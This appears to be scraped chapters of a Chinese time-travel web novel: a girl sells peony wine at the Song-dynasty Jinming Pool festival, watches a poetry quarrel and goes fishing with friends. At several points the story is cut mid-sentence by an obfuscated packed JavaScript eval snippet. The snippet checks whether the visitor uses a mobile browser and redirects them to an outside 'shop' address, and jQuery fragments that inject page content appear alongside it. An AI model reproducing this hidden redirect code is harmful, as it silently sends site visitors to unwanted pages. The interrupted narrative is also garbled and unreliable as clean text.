RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165318|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹拿出来售卖、展示。 数量多到能把朱雀门外都变成牡丹花海，一点望不到头那种。 那些酒楼正店更是会跟风推出牡丹花宴。 从冷盘到热炒，甚至点心饮品，全都是用牡丹花做的。 好不好吃另说，样子绝对是足够美，每一款发到朋友圈都能收获99+赞的那种。 更难得的是，连皇家御园琼林苑和金明池倒是也会对普通民众开放。 这事儿现代人听了可能没什么感觉，搁在宋朝，绝对是堪比过年的大庆典。 这就好比慈禧在位时竟然对外开放颐和园，还是免门票的那种，你就说你激不激动？想不想去凑个份子？ “牡丹宴？”提到这个，孟清圆瞬间来了精神。“好吃不？” 阿福摇头，“那却是不知道了，我没吃过。” 他憨憨的笑，“不过我听五谷说，往年樊楼、忻乐楼、铁薛楼、高阳正店的牡丹花宴都是下大力气琢磨的。 一顿顶级牡丹宴足足要价30贯！ 那些个大师傅，就等着这机会把其他家比下去呢。 哦对了，五谷还说了，他们福昌楼今年的席面，是张大厨做的。 据说从年后就开始琢磨，致力于跟樊楼打擂台呢。” 30贯？孟清圆倒吸一口凉气。 以她对北宋汇率的了解，30贯就相当于后世一万八千元。 一万八啊，在北京钓鱼台国宾馆吃一顿饭也要不了这么多吧？ 孟清圆咂吧嘴，用期待的眼神看向妇人：“牡丹花宴啊，要不咱们……” 妇人头也不抬，“想去？” 孟清圆和阿福都猛点头，动作非常一致。 一万八的席面，谁不想吃？谁不想吃！ “想去也行，今年咱们也去金明池边上摆摊。 要是能卖出去一百坛子姚黄露，我就请你俩去吃一顿福昌楼的顶级牡丹花宴。” “哦耶！” “好诶！” 两人同时欢呼，压根没觉得卖出去一百坛酒是多难的一件事。 笑话，他们清风酒寮，那也是坊间出了名的。 尤其是蓝桥风月，喝过的谁不说好？ 姚黄露孟清圆虽然没喝过，但阿福喝过啊，看他这胸有成竹的样子，孟清圆还担心什么？ “阿圆去年没看到，那些在金明池打马球的公子哥儿和小娘子们，都骑在马上，挥杆击球，别提多威风了！ 月陂堤、张家园、长寿寺东街更是挤成了各种花海，夜间千灯闪烁，特别好看！ 还有啊，据说墨池那边还会开万花会，不管是谁，只要去了，就能获赠一朵魏紫，簪在头上可好看了……” 阿福唾沫横飞，也不知是不是因为今年能吃到福昌楼的牡丹花宴，情绪那叫一个高涨。 一顿饭的功夫，简直把牡丹花期的盛景吹得天上有地下无的，说的孟清圆那叫一个心痒难耐。 “那咱们什么时候去金明池边摆摊啊？” 她已经迫不及待了属实是。 “那当然是二十三就去啦！到时候咱们早早就去，准能占个好位置！” 阿福叮嘱孟清圆，“阿圆，到时候你可不能赖床啊。” “不赖不赖！”孟清圆拍胸脯，“我办事你放心！” 开玩笑，只要能吃到牡丹花宴，起不来床什么的，她一准能克服。 15. 姚黄露 有价值一万八的牡丹花宴这根大胡萝卜钓在前面，孟清圆跟阿福就跟两头不知疲倦的驴子一样，一吃完饭就开始忙活起来。 阿福去后院找合适的木板子，准备弄个可拆卸的简易摊子。 孟清圆则催着妇人带她进地窖，准备收拾几天后准备带去摆摊的姚黄露。 一进酒窖，孟清圆就被那一排排看不到头的酒架子闪瞎了眼。 看着架子上贴着各种名字的酒坛，她忍不住咽了咽口水。 我滴个乖乖，这么多酒，得值不少钱吧。 没想到自己竟是个隐藏的富二代？ 孟清圆忽然想起一个老笑话，说有个内蒙学生，说家里为了供他上学，每年卖一头羊。 大家都以为他家里困难，平时没少帮助，结果后来才知道，人家家里有几千头羊。 自己现在就仿佛是那个家里有好几千头羊的隐藏富二代。 这么多酒，得值老多钱了吧？ 怪不得一万八的席面，妇人能说吃就吃。 果然是有家底的。 孟清圆沉浸在自己是超级小富婆的幻想中，傻笑着口水都要流出来了。 妇人已经拿起一坛牡丹觞，用掸子扫去上面的浮灰。 将酒坛开封后，她用酒提舀出一点来递给孟清圆。 “尝尝，这酒是为娘用牡丹花瓣和糯米酿的。 口感清甜带花香，最受女眷和文士喜欢。 咱现在要做的，就是加糖，把控好甜度。 加完糖再封坛醒上三日，味道不仅会更顺滑，喝起来口感也更丰富。” 孟清圆十分郑重的接过，小心翼翼地尝了一口。 浓郁的牡丹花香扑面而来，口感清甜顺滑，仙品啊！ 她朝妇人竖起大拇指，对于卖出一百坛更有信心了。 这样的酒，要是再加上她做美食的手艺。 到时候要是开个酒肆，那还不得赚麻了呀。 然后很快，孟清圆就为自己的天真而买了单。 要卖出一百坛，就意味着这几天她们要做出一百坛。 那可是一百坛啊，每一坛都要重新擦拭、开坛、加糖、搅动、再密封。 对于只有两个劳动力的酒寮来说，这个工作量已经不是大不大的事儿了，简直是大到离谱好吗！ 于是为了牡丹花宴的优质驴子孟清圆，这几天俩眼一睁就是干。 从天亮一直干到天黑，干到腰酸手麻，然后看一眼那望不到头的酒坛，只能叹息一声，接着干。 她就知道，天下没有免费的午餐，也没有白嫖的顶级牡丹花宴。 三日的时间一晃而过，二十三这天一大早，天刚亮，三人便拉着摆满了坛坛罐罐的板车准备出门。 今年的牡丹花期一共七天，按照七天卖出一百坛来算，一天只需要卖出14.28坛。 孟清圆偷偷计算过，一坛大约能盛出20碗，也就是说，他们只需要一天卖出285碗就可以了。 哦吼，285碗，真是个“不多”的工作量呢。 三人从顺天门出城，两侧的榆柳已经抽条，嫩绿嫩绿的看得人心情特别好。 刚出城门，孟清圆就看见街南头就支起了一溜花摊。 卖花的小贩们嗓子清亮：“买花来！带露牡丹，簪上满头春，赏池去嘞——” “最鲜嫩的美人面，错过今日等明年喽！” 还有各种小吃摊子，什么牡丹馎托，酥炸牡丹花。 还有印着图案的牡丹糕，米粉蒸得软糯，里头裹着碎花瓣和豆沙，用荷叶包着，看上去就好吃的很。 当然，牡丹糕孟清圆是没吃到的。 他们忙着赶到金明池占位子呢，肯定不能把时间浪费在买看起来就很好吃很好吃的糕点上。 孟清圆流着泪跟各种小吃告别。 随着人流越来越多，又走了一个小时后，她终于越过一堆后脑勺看见了金明池的棂星门。 朱红色的城墙巍峨耸立，看着就高端大气。 真不愧是汴京，真不愧是皇家园林啊。 就算是跟故宫北海颐和园比，也丝毫不逊色。 妇人看着熙熙攘攘的人流，不由得加快脚步转头催促。 “快快，阿福、阿圆，你俩赶紧先去池子边找个好位置占住。 越靠近池边或牡丹观赏区越好，晚了就没地方了！” “好嘞！”两人齐齐应下，一通蛇形走位就钻进人群往里蹽。 其实他们出发已经够早了，可架不住总有人比他们更早。 尤其是金明池周边村子的，恨不得天没亮就过来占位子。 园子里的摊位果然已经摆得七七八八。 什么卖花的、卖小吃的、卖各种小玩意儿的。 还有搭着棚子说书的、弹唱的，看的孟清圆眼花缭乱，颇有一种误入开封万岁山的感觉。 简而言之就俩字儿，热闹，真热闹！ 两人顺着路一直往前跑，眼睛飞快地扫视着路边的空位。 “阿圆你看，那边好像有个空位！” 阿福突然指着不远处的柳树下喊道。 孟清圆顺着他指的方向看去，果然柳树下有一小块空地。 地方不大，但放下他们的摊子足够了。 且那地方紧挨着观赏牡丹的必经之路，身后就是金明池的曲水流觞亭，来往客人肯定多。 两人赶紧快步跑过去，刚站定，就有另一伙扛着摊位架子的走过来。 看到他们占了空位，脸上露出悻悻神色，嘟囔一句“真倒霉”，便转身去找别的地方了。 这会儿好多带着刀的衙役四处巡逻，虽是对着两位少年人，他们也不敢强抢。 汴京府牢房七日游什么的，敬谢不敏。 孟清圆得意：“lucky~” 阿福没听懂：“拉什么？” “咳咳，没什么没什么，我说你快去帮着把板车拉过来~” 阿福点点头，擦了擦额角的汗：“那你在这守着，别乱跑啊！” “放心吧，我又不是小孩儿了。” “是是是，我们阿圆是大女娘啦！” 阿福跑远后，孟清圆便守在空地上，一边将地上的落叶枯枝捡走，一边打量起周围的摊位来。 很好，附近十几个摊位都没有卖酒的，竞争对手-1。 他们空地左边是个卖盐煮乌豆的摊子。 这会儿两大口铁锅并排架在炭火上，煮好的乌豆正用厚厚的棉被盖着保温。 摊主是个头发花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165319|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的老汉，正慢悠悠地抽着烟袋锅。 见孟清圆看过来，便和善地笑了笑。 “老伯，您这乌豆煮的真不赖，闻着就香！”孟清圆主动上前搭话。 没有人听了夸赞会不高兴，老汉也不例外。 他笑呵呵：“小娘子算是说对了，这乌豆是今早天不亮就煮上的。 足足煮了一个多时辰才入味，外皮都煮裂了，内里软糯得很。” 说着，他掀开棉被，孟清圆探头，果然见锅里的乌豆个个饱满，外皮裂开一道小口，散发着诱人的香气。 “看小娘子年纪不大，也是来摆摊的？”老汉问道。 “是啊，跟我家阿娘和阿福哥一起来的，卖些自家酿的牡丹酒。” 话唠到这了，老汉了然，顺手从旁边拿起一片干净的阔叶，舀了一小包乌豆包好递过来。 “小娘子拿着尝尝，刚出锅的，暖乎乎的垫垫肚子。” 蹭吃的目的达到了，孟清圆忙接过，连声道谢。 “多谢老伯！一会儿我家阿娘过来，我让她给您送两碗好酒尝尝！” 成功商人之间的等价交换，哪用得着银钱这种不纯洁的东西。 两人对视一眼，都笑得跟小耗子一样鸡贼。 孟清圆捡着一颗颗乌豆吃，又开始看向对面，那里是个捏面人的摊子。 摊主是个五大三粗的汉子，胳膊上的腱子肉跟健美选手似的，手里的活儿却格外精细。 “这得喝了多少蛋白粉才能练成这样啊。” 这会儿他摊子前正围着两个人。 手指翻飞间，一团粉色的面泥就捏出了女子的裙摆。 又取了白色面泥捏出男子的长衫，短短几分钟，一对并肩而立的面人就初具雏形。 然后再用画笔细细的给面人上色，那眉眼画的栩栩如生。 乍一看吧，还不是特别像，但要是细品，就会觉得越看越像。 孟清圆看得入神，没一会儿就见妇人和阿福推着板车过来了。 三人不敢耽搁，立刻动手开始支摊子。 阿福快速将可拆卸的木板组装好，妇人把油布搭在提前备好的竹竿上，搭起一个简易的遮阳棚，孟清圆则负责把牡丹觞、姚黄露的酒坛摆整齐。 半炷香的功夫，清风酒寮的临时摊位就支了起来。 “开张喽！！” “自家酿的牡丹觞、姚黄露，八文钱一碗，走过路过的郎君娘子来尝尝鲜哟！” 阿福率先扯开嗓子吆喝起来，妇人也跟着招呼。 “都是今岁新酿的好酒，带着牡丹清香，清甜不烈，快来尝尝！” 八文钱一碗的价格不算贵，再加上酒坛打开后，浓郁的牡丹酒香混着酒香飘了出去，很快就吸引了不少路人驻足。 “给我来一碗牡丹觞！” 一个穿着青布长衫的书生率先掏出八文钱。 “好嘞，郎君稍等！” 孟清圆连忙应着，拿起干净的酒碗，舀了一碗色泽清亮的牡丹觞递过去。 “郎君尝尝，不好喝不要钱！” 当然，这话是收了钱之后才说的。 书生抿了一口，眼睛大亮。 “好酒！果然有牡丹的清甜味，口感顺滑，不错不错！” 16. 牡丹馎托 有了第一个客人的夸赞，后续的生意就好了起来。 三人分工明确：阿福负责吆喝和收钱，孟清圆负责舀酒递碗，妇人则在一旁招呼客人，时不时给大家介绍两种酒的区别。 每招待完一位客人，孟清圆和阿福都会特意叮嘱一句：“郎君/娘子若是喜欢，记得来我们清风酒寮坐坐。 就在西角楼旧宋门安州巷，常年供应好酒！” 不少客人喝得满意，干脆当场要了几坛子带走。 妇人早有准备，随手拿起一旁的草绳，手指飞快地捻动编织，没一会儿就编出一个结实的酒套子。 把酒坛放进去，提着、抱着都方便。 “老板娘好手艺！”买酒的客人忍不住夸赞。 妇人笑着应道：“小伎俩罢了，方便郎君携带才是正经。” 三人忙得脚不沾地，不知不觉就到了正午。 出门前他们各自吃了一张现烙的酥脆大饼，里面夹着瓜条酱菜和卤肉。 可忙活了这大半天，早就消化干净了，肚子饿得咕咕直叫。 “肚肚饿饿~” 孟清圆又开始了。 妇人搓了搓胳膊竖起的鸡皮疙瘩，赶紧从钱袋里摸出一堆铜钱递给孟清圆。 “去去，你俩爱吃什么自己买。” 这么黏糊糊的撒娇，再来一次她真遭不住。 “好嘞！” 两人接过钱，欢欢喜喜地快步往旁边的小吃摊走去。 不远处就有卖牡丹馎托的摊子。 热气腾腾的馎托刚出锅，上面还点缀着几片粉色的牡丹花瓣，看着格外精致。 “老板，来三碗加羊肉臊子的牡丹馎托！”阿福喊道。 孟清圆又去旁边买了早上赶路时没吃到的同款牡丹花米糕，刚出锅闻起来香喷喷。 两人将馎托放在食盘上，由阿福端着回到了摊位。 三人或蹲或站，就这么大口吃了起来。 孟清圆接过碗，吹了吹热气尝了一口，忍不住在心里吐槽：这牡丹花之于馎托，就好比轮船之于沙漠，也就是看着好看，其实压根尝不出花瓣的味道。 店家做这个牡丹馎托纯属是应景凑份子。 不过这羊肉臊子做得的确好。 肉切得碎，用热油煸得香酥，再加上酱汁翻炒，最后撒了两勺茱萸粉。 又香又辣，配着馎托吃起来特别过瘾。 三月底的天气，一碗馎托让三人吃得满头大汗。 孟清圆正端着碗喝里面的面汤，突然就听到身后曲水流觞亭的方向传来一阵嘈杂的骚动。 还不等她回头，又有人高声呼喊：“有没有郎中？ 快来人啊！有人被气吐血了！” 话音刚落，又有另一道声音紧随其后，带着几分慌乱：“不好了！有人投池了！” “嚯？” 三人手里的吃饭的动作都停了下来，纷纷好奇的伸着脖子往远处张望。 还是孟清圆最先反应过来。 只见她三两下扒完剩下的馎托，又把里面的汤一饮而尽，将碗往食盘上一放，转头就对妇人和阿福说：“我先去看看咋回事，回来给你们讲哈！” 说完撒丫子就往骚动的方向跑。 妇人看着她跑远的背影，转头对着一脸眼巴巴、明显也想去看热闹的阿福说：“你也去吧，记得看紧阿圆，别让她乱跑。” “好嘞！” 阿福喜出望外，连忙把自己和妇人的碗都收拾好。 先将空碗送回了卖牡丹馎托的摊子，这才快步追着孟清圆的方向赶去。 此时的曲水流觞亭周边已经围满了人，里三层外三层堵得水泄不通。 看来华国人这爱看热闹的性格，千百年来就没变过。 孟清圆仗着自己身材纤细个子小，泥鳅似的就顺着人群的缝隙地往里钻。 没一会儿就挤到了最前排，稳稳的占据了吃瓜最佳观赏席。 阿福一个小郎君，不好在人群中这么挤来挤去，只得绕到旁边。 瞅准一块没人的大石头爬了上去，站在上面踮着脚尖往里张望，勉强能看清亭边的情形。 亭边的池水里，几个家丁模样的汉子正合力将一个人捞上来。 那人被拖上岸时，衣衫尽湿，头发散乱地贴在脸上，浑身淌着水，狼狈得不成样子。 孟清圆离得近，看得最清楚。 这是个约莫四十多岁的文士，穿着青色的儒衫，看模样像是个教书先生。 他刚被捞上来，就有三两好友围了上去。 一边给他擦拭身上的水渍，一边焦急地呼唤着他的名字。 “博怀！博怀！” “哎呦，博怀啊，你你你……你说你这是何必呢？” “圣人道：‘唯女子与小人难养也[1.]’，果然诚不欺我焉。 这位小女娘，当真好生无理！” 而众人指责的对象，正式站在对面，五六个衣着靓丽的小娘子。 虽然背对着孟清圆，但她还是看得出，这一个个的穿着不俗，气质也不像普通人。 那几位文士正对着她们高声辩驳，看架势刚才吵起来的就是这两拨人。 周围的人群议论纷纷，孟清圆支棱着耳朵，很快就弄明白了事情的来龙去脉。 原来这落水的文士刚才在曲水流觞亭内赏牡丹，一时兴起便提笔写了一首咏牡丹的词，兴冲冲地念给众人，恰好被这几位小娘子听到。 其中一位穿着丹雘色襦裙的小娘子性子爽直，听完后便直言不讳地评价了一番。 言辞间颇为犀利，说他的词“堆砌辞藻，无半分真意，徒有牡丹之行，未见牡丹之神。” 还说“咏物当寄情，君之词无半分真心感悟，不过是无病呻吟罢了。” 那文士本来对自己的词作颇为得意，结果被一个小娘子当众如此评价，顿时觉得颜面尽失，当即就与对方争执起来。 “诗经咏美人，铺陈其事而直言之[2.]，咏物亦当如此。 庾信咏花，辞藻华美，千古传诵，何来无病呻吟之说？” 文士满口之乎者也，试图证明自己的词有深意存焉。 可那小娘子也不是吃素的，对方说她不懂赋法，她当即便叉着腰骂了回去。 “赋者，铺陈也，然需铺陈其事而情理俱在。 君之词只铺陈花色，无情无理，与账册罗列何异？ 真正的咏物，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165320|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是物我相融，不着一字而尽得风流。 而非这般句句点题，反倒落了下乘”。 一番唇枪舌战下来，那文士被辩驳得哑口无言，脸涨得通红，半天再说不出一句反驳的话。 孟清圆看了场古代版《奇葩说》，吃瓜吃得那叫一个津津有味。 本以为这件事到这也就结束了，可谁成想，那小娘子似乎吵架吵上头了。 见对方无言以对，并没有就此打住，反而话锋一转，继续开喷：“始有柳屯田永者，变旧声作新声，出《乐章集》，大得声称于世。 虽协音律，而词语尘下，多写市井艳情，终非大雅之音。[3.]” 这话一出，周围顿时鸦雀无声。 柳永的词在市井间流传极广，知名度也高。 即使没读过书的，或许《千字文》不会读，但柳七的词，多少都能唱上两句。 虽有文人觉得其“俗”，但也没人敢当众这么直言抨击。 不等周围人反应过来，小娘子又接着说道：“至晏元献、欧阳永叔、苏子瞻，学际天人，作为小歌词，直如酌蠡水于大海，气魄非凡。 然皆句读不葺之诗尔，又往往不协音律，失了词之本色。[4.]” 牛逼啊！ 孟清圆在心里惊呼一声，真勇士啊这是。 从柳永到晏殊、欧阳修，再到如今人人敬仰的苏公苏轼，她这是无差别攻击个遍。 再看对方的眼神，全是瑞斯拜。 要知道，此时苏轼的诗文词赋在汴京乃至整个大宋都备受推崇，被誉为“学究天人”。 现在竟然有人敢当众说他的词“不协音律”，孟清圆都怕人群里有人蹿出来揍对方一顿。 果不其然，这话刚说完，原本就被气得脸色发青的落水文士，猛地胸口一闷，“哇”的一声又吐了几口鲜血出来，溅在湿漉漉的儒衫上，像朵绽放的牡丹。 他指着那小娘子，嘴唇哆嗦着，你你你了半天说不出一个字来，随后眼前一黑，竟直接被气晕过去。 “博怀！博怀你醒醒！” 他的好友们顿时慌了神，连忙上前搀扶，掐人中的掐人中，按虎口的按虎口。 周围的人群也炸开了锅，不少文人墨客都面露愠色。 这时，一个穿着藏青色儒衫的中年文士忍不住高声喝问：“小娘子将柳屯田、苏公等大家尽皆瞧不上，口气未免太过狂妄！ 既然你如此懂词，不如当场作一首咏牡丹的词来，好叫我等也品鉴一番，看看何为你眼中的‘大雅之音’！” 这话一出，周围人也开始起哄。 所有人的目光都聚焦在那丹雘襦裙的小娘子身上。 连孟清圆也不由得好奇，这等勇士，能做出什么样的词来。 只见那小娘子闻言，不慌不忙，抬眼望了望亭边盛放的牡丹，略一沉吟，便开口缓缓咏出：“禁幄低张，彤阑巧护，就中独占残春。 容华淡伫，绰约俱见天真。 待得群花过后，一番风露晓妆新。 妖娆艳态，妒风笑月，长殢东君[5.]。” 她声音清丽，念起这词来格外好听，连孟清圆这种文学造诣不高的，都觉得有点子韵味。 17. 钓金鲤 四周一片安静，那小娘子又继续念道：“东城边，南陌上，正日烘池馆，竞走香轮。 绮筵散日，谁人可继芳尘。[1.]” 一词念罢，周围竟然半响都没有人吱声。 连刚才急着辩驳的文士们也都皱着眉，张了张嘴却驳不出半个字来。 而那晕过去的文士，此时也正好被他的好友掐醒。 听闻这首词后，脸色更加苍白，一口气没提上来，险些又双叒要晕过去。 还是他朋友死命掐着人中，他才没再晕过去。 等手离开时，孟清圆眼尖看到，文士人中那块都快被掐成大佐了。 约莫过了几分钟，人群中突然有位白发老者抚掌赞叹：“好词！真是好词啊！ ‘正日烘池馆，竞走香轮，绮筵散日，谁人可继芳尘！’ 句句不提牡丹，却句句皆是牡丹，把牡丹的神韵风骨写得淋漓尽致！ 老朽今日可算见识了何为真正的咏物佳作！” 老者一开口，周围的人群也纷纷附和：“是啊！这词意境深远，比刚才那位先生的词高明多了！” “小娘子才学过人，难怪敢评价先贤，原来是真有底气！” “不知道小娘子是从何人，竟有如此才情，肯定是哪位大儒的关门弟子吧？” 周围人一通夸赞，孟清圆虽然没太听懂，但也跟着鼓掌叫好。 没办法，她的文学造诣仅限九年义务教育里语文课本上的内容，但周围人都夸好，她就也跟风觉得好。 反正凑热闹呗，当的就是个气氛组。 那小娘子对着众人微微颔首，神色依旧从容。 仿佛刚才那伶牙俐齿，一通输出直接把人气吐血的罪魁不是她一样。 亲眼见证了一场掰头，孟清圆这口瓜吃的特别满足。 她正想回去给妇人和阿福讲八卦，却见那群小娘子转过身来，竟然是前几日一起在茶楼打马的鲍娘等人。 “鲍娘？” 好家伙，要是她的话，那说出这番话就不意外了。 对方也看见了孟清圆，热情上前：“阿圆？你也来金明池赏花？” 众人见又一位小娘子加入其中，只叹后生可畏，女辈甚焉。 惹不起，惹不起啊，于是纷纷避而走之。 “我们酒寮来这边支摊子了，有今岁新酿的姚黄露，特别特别好喝。” 她热情招呼这群大客户，“要不要去尝尝？” 一听说有新酒，鲍娘等人果然心动，果断决定让孟清圆带路。 孟清圆带着她们一起回了摊子前。 这会儿没什么顾客，阿福看热闹还没回来，妇人正磕着不知从哪换来的瓜子跟旁边老丈闲磕牙。 见孟清圆带着一帮女娘们过来，便顺手将瓜子装进围裙的前袋子里，热情招呼她们。 鲍娘是见过妇人的，于是上前礼貌行礼。 那乖巧样子和刚才跟人唇枪舌战三百回合的气势简直大相径庭。 “板凳不够了，要不我去借几张吧。” 鲍娘拦住：“不必搞那么麻烦，这不到处都能坐嘛。” 说着，率先一屁股坐在了旁边的石头上。 其他小娘子们也不讲究，有的站着，有的干脆就让婢子铺张帕子坐在地上，姿势那叫一个豪放。 孟清圆暗想：合着电视里那些古偶剧，里面大家闺秀动辄十几个仆人伺候着，出门都要用纱遮面，原来都是骗人的。 明明宋朝这些小娘子们，跟她们现代人也没啥区别。 思想裹小脚的，竟是她自己？ 妇人从酒坛里舀出酒来，用干净的碗盛着，给鲍娘和几位小娘子递过去。 “这是今岁新酿的姚黄露，都是度数不高的小甜酒，特意没做那么烈，就是怕盖过了牡丹的清香。 小娘子们放心吃，就是多吃几碗，也不会醉的。” 孟清圆与她们喝过酒，知道在场的，没有一位是酒量不好的。 开玩笑，度数最高的羊羔酒几碗下肚都能面不改色，这姚黄露，她们就是喝上一坛子也没啥事儿。 为了不单调，孟清圆特意用酒又跟旁边的老伯换了几包盐煮乌豆下酒吃。 “好清甜的酒！” “娘子这手艺，可真是了得，这姚黄露果然是姚黄酿出来的仙露，比樊楼的果子酒还好喝！” “就是就是，一会儿我可得带两坛走，回去拿给阿兄和阿爹也尝尝。” 几个人的嘴巴都跟涂了蜜似的，你一句我一句，把妇人哄得合不拢嘴。 “小娘子们尽管喝，咱家多的没有，酒却是管够的！” 等酒喝得差不多，人也休息够了。 双方的关系，已经从第二次消费的顾客变成了懂酒的知己。 鲍娘拉起孟清圆，又对妇人行了个礼。 “今日这池岸西的池院所，据说往金明池里放了好几尾大金鲤。 只需交一文钱，就可以钓上一整天。 若是运气好钓上金鲤，还有八十两的彩头。 即便钓上旁的，也能让池畔的酒家临水斫脍，做成新鲜的刺身尝尝鲜。 我们正打算过去试试运气，不知阿圆可否跟我们一同去？” 妇人刚才被几人哄得高兴，闻言，二话不说就从腰间解下随身挂着的钱袋子，直接扔给了孟清圆，那姿势霸道又帅气。 “去吧去吧。” 之前就回来的阿福倒是不好跟着一群小娘子同去，却也打气：“阿圆可得一举钓上那大金鲤来，回头分我们点彩头！” “莫得问题，包我身上！” 众人便兴高采烈的离开了，走之前，每人的婢女手里都抱着两坛子姚黄露。 很好，今日份100碗销售额，达成~ 她们沿着池边的小路慢慢走，顺路还看了不少新鲜热闹。 有个耍猴戏的摊子围了不少人，一只毛色油亮的小猴子穿着红色的小褂，正在耍猴人的指挥下翻跟头、玩箜篌，动作灵活的不得了。 每做完一个动作，耍猴人就会扔给它一颗花生作为奖励。 小猴子精明得很，接过花生后，小爪子熟练地剥开外壳，吃掉里面的果仁，还不忘把花生壳放进耍猴人随身背着的小布袋子里。 瞧瞧，保护环境的意识，从宋朝的猴儿这就开始了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165321|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几人到了西池，各交一文钱领到了手牌和鱼竿，开始选饵料。 饵料一共三种，有草饵，面食饵和虫饵。 这个不是免费的，要三文钱一小包。 包括孟清圆在内，大家都畏惧那蠕动的软体生物，纷纷选了面食饵。 唯独鲍娘选虫饵。 “一帮傻子，鱼啊，人家是吃肉的。这金鲤体型硕大，肯定偏爱荤腥。 你们用清淡的面食饵，哪比得上这虫饵有吸引力？ 到时候啊，这池里的金鲤肯定都咬我的钩！” 众人听着，觉得她说的似乎有些道理，可看着那互相纠缠蠕动的肉虫，终究还是下不去手。 “算了算了，我可不行，我一看那肉虫就浑身难受。” "我也是，反正我钓鱼技艺不高，我用这面食饵就好。" 孟清圆也表示：“咳咳，同上，加一。” 末了，几人还不忘了给鲍娘打气：“鲍娘加油！今天就指着你钓上大鱼啦！” 几人排排坐，钓鱼大赛正式开始。 孟清圆笨拙地把面食饵揉成小团，挂在鱼钩上，甩了几次才顺利将鱼钩甩进水里。 钓鱼这项休闲娱乐活动，她以前没怎么玩过； 主要是没时间，作为一个自媒体从业者，她根本没有所谓的下班时间，也压根没时间消遣。 基本是别人上班她做饭，别人下班她拍摄，别人睡觉她剪辑。 要不是一直这么连轴转，她也不至于因为低血糖磕后脑勺导致穿越再穿越。 刚钓没一会儿，旁边突然来了一群穿同样款式衣服的郎君。 看那架势和气质，不像是寻常百姓，倒像是哪个书院过来团建的。 孟清圆多看了两眼，还没等她问，就听到身边阿芷轻笑：“呀，是国子监的太学学生。” “晏娘，你看！”阿芷用胳膊怼了怼身旁的晏娘，“那个那个，那不是那个谁嘛。” 几人顺着望过去，都露出了然的表情。 只有孟清圆抓耳挠腮：哪个哪个？谁啊到底？真令人费解啊！ 晏娘脸都红了，用扇子遮住半边脸，轻轻啐了一声：“别乱讲，小心失礼。” 鲍娘打趣她：“哟，方才在酒摊前席地而坐不觉失礼，这会儿只是看葛郎君一眼，就成失礼啦？” 晏娘被她臊的愈发脸红，手里的帕子都揉成了团。 孟清圆终于听出点眉目来，看这意思，似乎是晏娘的心上人就在里面。 她眼睛扫过一张张面孔，虽然不知道哪位是葛郎君，不过这些郎君们一个个面白体态好，又有读书人的气度在，的确还挺养眼的。 鲍娘低声给孟清圆解释：“第一排左边第三位，是太常寺少卿葛胜仲之子葛立方。 正跟晏娘家议亲呢，不出意外的话，今年就要定下了。” 孟清圆在脑海中搜索了一番，葛立方，嗯，不认识，水立方她倒是知道。 看来应该不是什么文采出众的人，反正后世语文课本上没这号仁兄。 对方似乎也发现了他们这边，有人同样捅了捅葛立方：“常之，那不是张给事中家的张小娘子嘛。” 18. 鲍娘竟是 双方都朝对方看，葛立方正好与晏娘慌乱收回的目光撞了个正着。 他愣了一下，随即耳根子火辣辣的燃烧起来。 下意识想低下头移开视线了，却又觉得这样做未免失礼。 何况两家正在议亲，既然遇上了，于情于理，他都该过去打个招呼。 正巧他身边一位郎君主动上前，“常之，不若我陪你过去打个招呼吧。” 葛立方求之不得，赶紧拽着同伴过去。 晏娘见葛立方带着同伴走近，顿时也脸色通红，不知所措的愣在原地。 还是她的婢子悄悄拉了他一把，晏娘这才反应过来，赶紧起身整理了一下裙摆。 其他女娘也收起平时嘻嘻哈哈的笑容，化身为举止端庄的小娘子。 孟清圆站在众人身边，也学着她们的样子高昂头颅，挺直后背，用故作淡定的表情打量对方。 “葛郎君安好。”晏娘声音轻柔，脸颊带着未褪的红晕。 葛立方也回叉手礼：“诸位小娘子安好，张小娘子安好……” 他手握拳在嘴边轻咳两声：“咳，今日学里夫子念及金明池牡丹盛放。 言‘牡丹妖艳乱人心，一国如狂不惜金’。 便带某等来此赏花赋诗，陶冶性情，不曾想竟能在此偶遇诸位，当真是缘分。” 最后这缘分二字，是看着晏娘说的，空气里那叫一个暧昧哟。 啧啧啧，孟清圆心中咂舌。 这年头的读书人果然都不是啥好鸟，看着道貌岸然的，还挺会撩。 果然，晏娘听完，那小脸红的都要滴血了。 孟清圆虽然不喜欢谈恋爱，但她喜欢看别人谈恋爱啊。 